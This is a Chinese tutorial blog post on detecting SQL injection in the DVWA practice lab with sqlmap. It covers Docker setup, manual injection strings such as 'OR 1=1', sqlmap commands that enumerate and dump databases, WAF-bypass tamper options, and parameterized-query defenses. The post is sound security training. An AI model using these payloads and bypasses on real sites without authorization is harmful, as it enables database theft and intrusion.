从DVWA到实战:手把手教你用sqlmap进行SQL注入漏洞检测
1. SQL注入漏洞检测入门指南SQL注入是Web安全测试中最常见的漏洞类型之一。简单来说攻击者通过在输入字段中插入恶意SQL代码欺骗数据库执行非预期的命令。这可能导致数据泄露、数据篡改甚至整个系统沦陷。我第一次接触SQL注入是在五年前的一次内部安全测试中。当时我们的电商网站用户登录页面存在注入漏洞攻击者只需要在用户名输入框中输入admin --就能绕过密码验证。这个发现让我意识到即使是最基础的Web应用也可能存在严重的安全隐患。DVWADamn Vulnerable Web Application是一个专门设计用于安全测试的PHP/MySQL靶场环境。它包含了从低到高不同安全等级的漏洞场景是学习Web安全的绝佳平台。而sqlmap则是目前最强大的自动化SQL注入工具支持六种不同的注入技术能够检测和利用绝大多数SQL注入漏洞。2. 搭建DVWA测试环境2.1 使用Docker快速部署最方便的DVWA部署方式是使用Docker。以下是具体步骤# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器并映射端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa等待容器启动后在浏览器访问http://localhost:8080。默认登录凭证是用户名admin密码password2.2 初始化数据库首次登录后需要点击Create/Reset Database按钮初始化数据库。这个过程会创建必要的数据库表结构插入测试数据设置不同安全等级的安全机制如果遇到PHP配置错误可能需要修改两个文件# 进入容器内部 docker exec -it dvwa /bin/bash # 修改PHP配置 sed -i s/allow_url_include Off/allow_url_include On/ /etc/php/7.4/apache2/php.ini # 重启Apache服务 service apache2 restart3. 识别SQL注入点3.1 手动测试基础注入在DVWA中将安全等级设为Low然后进入SQL Injection页面在输入框尝试输入数字1页面返回用户ID为1的信息输入1带单引号如果页面报错说明存在SQL注入漏洞进一步测试1 OR 11这应该会返回所有用户数据3.2 使用开发者工具收集信息按F12打开开发者工具切换到Network标签页提交表单后找到对应的请求记录复制完整的请求URL例如http://localhost:8080/vulnerabilities/sqli/?id1SubmitSubmit在Console标签页执行document.cookie获取当前会话的Cookie值4. 使用sqlmap进行自动化检测4.1 基本扫描命令首先确保已安装sqlmappip install sqlmap使用收集到的URL和Cookie执行扫描sqlmap -u http://localhost:8080/vulnerabilities/sqli/?id1SubmitSubmit \ --cookiePHPSESSIDabc123; securitylow \ --batch参数说明-u指定目标URL--cookie维持会话所需的Cookie--batch自动选择默认选项无需交互4.2 数据库信息枚举获取数据库基本信息sqlmap -u URL --cookieCOOKIE --banner --current-user --current-db典型输出示例[INFO] the back-end DBMS is MySQL banner: 5.7.29-0ubuntu0.18.04.1 current user: dvwalocalhost current database: dvwa4.3 数据提取技术列出所有数据库sqlmap -u URL --cookieCOOKIE --dbs列出指定数据库的表sqlmap -u URL --cookieCOOKIE -D dvwa --tables提取表数据sqlmap -u URL --cookieCOOKIE -D dvwa -T users --dump5. 高级扫描技巧5.1 风险等级与测试级别sqlmap提供精细的风险控制# 提高测试强度1-5默认1 sqlmap --level3 # 提高风险等级1-3默认1 sqlmap --risk35.2 使用代理观察请求通过Burp Suite等代理工具观察sqlmap的请求sqlmap --proxyhttp://127.0.0.1:80805.3 绕过WAF防护针对有WAF保护的目标sqlmap --tamperspace2comment,randomcase --random-agent常用tamper脚本space2comment用/**/替换空格randomcase随机大小写between用BETWEEN替换比较符6. 防御建议6.1 开发层面的防护使用参数化查询Prepared Statements$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $input]);实施最小权限原则数据库用户只赋予必要权限对所有用户输入进行严格过滤和转义6.2 运维层面的防护定期更新数据库和Web服务器补丁部署WAFWeb应用防火墙启用数据库审计日志7. 实战经验分享在实际测试中我发现几个常见问题当sqlmap报告注入存在但无法利用时尝试添加--techniqueB指定使用布尔盲注对于时间型盲注使用--time-sec5增加延迟时间可以提高成功率遇到复杂JSON接口时使用--data{id:1} --headersContent-Type: application/json记得在一次企业测试中目标网站对单引号做了过滤但通过编码%EF%BC%87全角单引号成功绕过了防护。这种经验告诉我永远不要假设一种防护措施就能解决所有问题。最后强调一点未经授权的测试是违法行为。所有测试都应在获得明确授权的前提下进行建议使用像DVWA这样的合法靶场环境来练习技术。

相关新闻

解决跨域文件下载:2种前端代理方案绕过服务器配置限制

解决跨域文件下载:2种前端代理方案绕过服务器配置限制

跨域文件下载难题的工程化解决方案:前端代理技术深度实践当我们在前后端分离架构中开发文件下载功能时,经常会遇到一个令人头疼的问题——浏览器安全策略阻止了跨域文件请求。这种限制虽然保护了用户安全,却给开发者带来了不小的挑战。本文将…

2026/7/6 11:46:00阅读更多 →
工业AI落地指南:小白也能掌握的工厂提效降本秘籍!收藏必备

工业AI落地指南:小白也能掌握的工厂提效降本秘籍!收藏必备

本文深入剖析了工业AI在制造业中的实际应用困境与解决方案。文章指出,尽管AI被广泛看好,但落地率低主要源于企业对AI的认知偏差和实施路径的错误。作者强调,工业AI应从辅助诊断、办公效率提升等低风险场景切入,逐步构建可控的安全…

2026/7/6 11:46:00阅读更多 →
WebLogic 10.3.6 漏洞环境搭建与 CVE-2017-3506 实战复现:3 种利用方式对比

WebLogic 10.3.6 漏洞环境搭建与 CVE-2017-3506 实战复现:3 种利用方式对比

WebLogic 10.3.6 漏洞环境搭建与 CVE-2017-3506 实战复现:3 种利用方式对比在企业级中间件安全领域,Oracle WebLogic 的历史漏洞一直是渗透测试人员必须掌握的实战技能。本文将深入探讨 CVE-2017-3506 漏洞的三种不同利用方式,通过对比分析帮…

2026/7/6 11:46:00阅读更多 →
AI生成图片文字模糊?AnyText技术原理与实战指南

AI生成图片文字模糊?AnyText技术原理与实战指南

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 1. 为什么你的AI画不出清晰中文?先看问题在哪 如果你试过用Stable Diffusion这类文生图模型生成带中文的图片&#xff0c…

2026/7/6 13:06:24阅读更多 →
【HarmonyOS学习笔记】2026-07-04 | Tabs 切换:点击流畅但滑动延迟

【HarmonyOS学习笔记】2026-07-04 | Tabs 切换:点击流畅但滑动延迟

【HarmonyOS学习笔记】2026-07-04 | Tabs 切换:点击流畅但滑动延迟date: 2026-07-04 tags: [HarmonyOS, Tabs, ArkUI, 动画回调, 状态管理, State] 1️⃣ 现象(发生了什么?) 在鸿蒙 Tabs 组件中,点击底部 Tab 栏切换页…

2026/7/6 13:06:24阅读更多 →
企业级AI Agent平台架构设计:从任务编排到高可用系统实践

企业级AI Agent平台架构设计:从任务编排到高可用系统实践

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 最近在准备大厂面试,尤其是涉及AI Agent方向的系统设计题,发现很多同学对“AI Agent平台”的理解还停留在调用…

2026/7/6 13:06:24阅读更多 →
为什么需要设置seed

为什么需要设置seed

在写代码中通常需要设定seat来,确保结果的可复现性代码举例import random# 生成随机整数 print("第一次随机生成") print(random.randint(1,100)) print(random.randint(1,100))# 生成随机整数 print("第二次随机生成") print(random.randint(1…

2026/7/6 13:06:24阅读更多 →
EM3080-W与PIC18F2458条形码识别系统设计与优化

EM3080-W与PIC18F2458条形码识别系统设计与优化

1. EM3080-W与PIC18F2458的硬件搭档解析在嵌入式条形码识别领域,EM3080-W解码模块与PIC18F2458微控制器的组合堪称经典CP。EM3080-W是霍尼韦尔旗下的一款高性能一维条形码扫描引擎,其最大特点在于内置了完整的解码算法和图像处理单元,开发者无…

2026/7/6 13:06:24阅读更多 →
计算机专业就业:换个角度从问题拆解到交付验证,从方案设计到上线检查

计算机专业就业:换个角度从问题拆解到交付验证,从方案设计到上线检查

聊《计算机专业就业:换个角度,从问题拆解到交付验证》之前,先说一句实在的:别急着背概念,先看它在真实项目里到底解决什么问题。摘要这篇面向计算机专业学生、应届生和转专业学习者,但不会把“计算机专业就…

2026/7/6 13:01:23阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/6 4:26:20阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/6 2:48:33阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/6 0:10:35阅读更多 →
Seraphine:基于LCU API的英雄联盟智能游戏助手技术解析与应用指南

Seraphine:基于LCU API的英雄联盟智能游戏助手技术解析与应用指南

Seraphine:基于LCU API的英雄联盟智能游戏助手技术解析与应用指南 【免费下载链接】Seraphine 英雄联盟战绩查询工具 项目地址: https://gitcode.com/gh_mirrors/se/Seraphine 技术架构先行:官方接口的合规应用 你是否曾在BP阶段手忙脚乱&#x…

2026/7/6 0:03:39阅读更多 →
多协议远程连接管理工具mRemoteNG:告别混乱,统一你的远程桌面管理

多协议远程连接管理工具mRemoteNG:告别混乱,统一你的远程桌面管理

多协议远程连接管理工具mRemoteNG:告别混乱,统一你的远程桌面管理 【免费下载链接】mRemoteNG mRemoteNG is the next generation of mRemote, open source, tabbed, multi-protocol, remote connections manager. 项目地址: https://gitcode.com/gh_m…

2026/7/6 0:03:39阅读更多 →
COUNT(DISTINCT) 与 GROUP BY 去重统计:5 亿数据量下的性能实测与选型指南

COUNT(DISTINCT) 与 GROUP BY 去重统计:5 亿数据量下的性能实测与选型指南

COUNT(DISTINCT) 与 GROUP BY 去重统计:5 亿数据量下的性能实测与选型指南在数据分析和处理领域,去重统计是最基础也是最频繁使用的操作之一。当数据量达到亿级规模时,不同的去重统计方法在性能上可能产生天壤之别。本文将基于 5 亿行数据的实…

2026/7/6 0:03:39阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/6 4:45:01阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/6 4:45:01阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/6 4:45:03阅读更多 →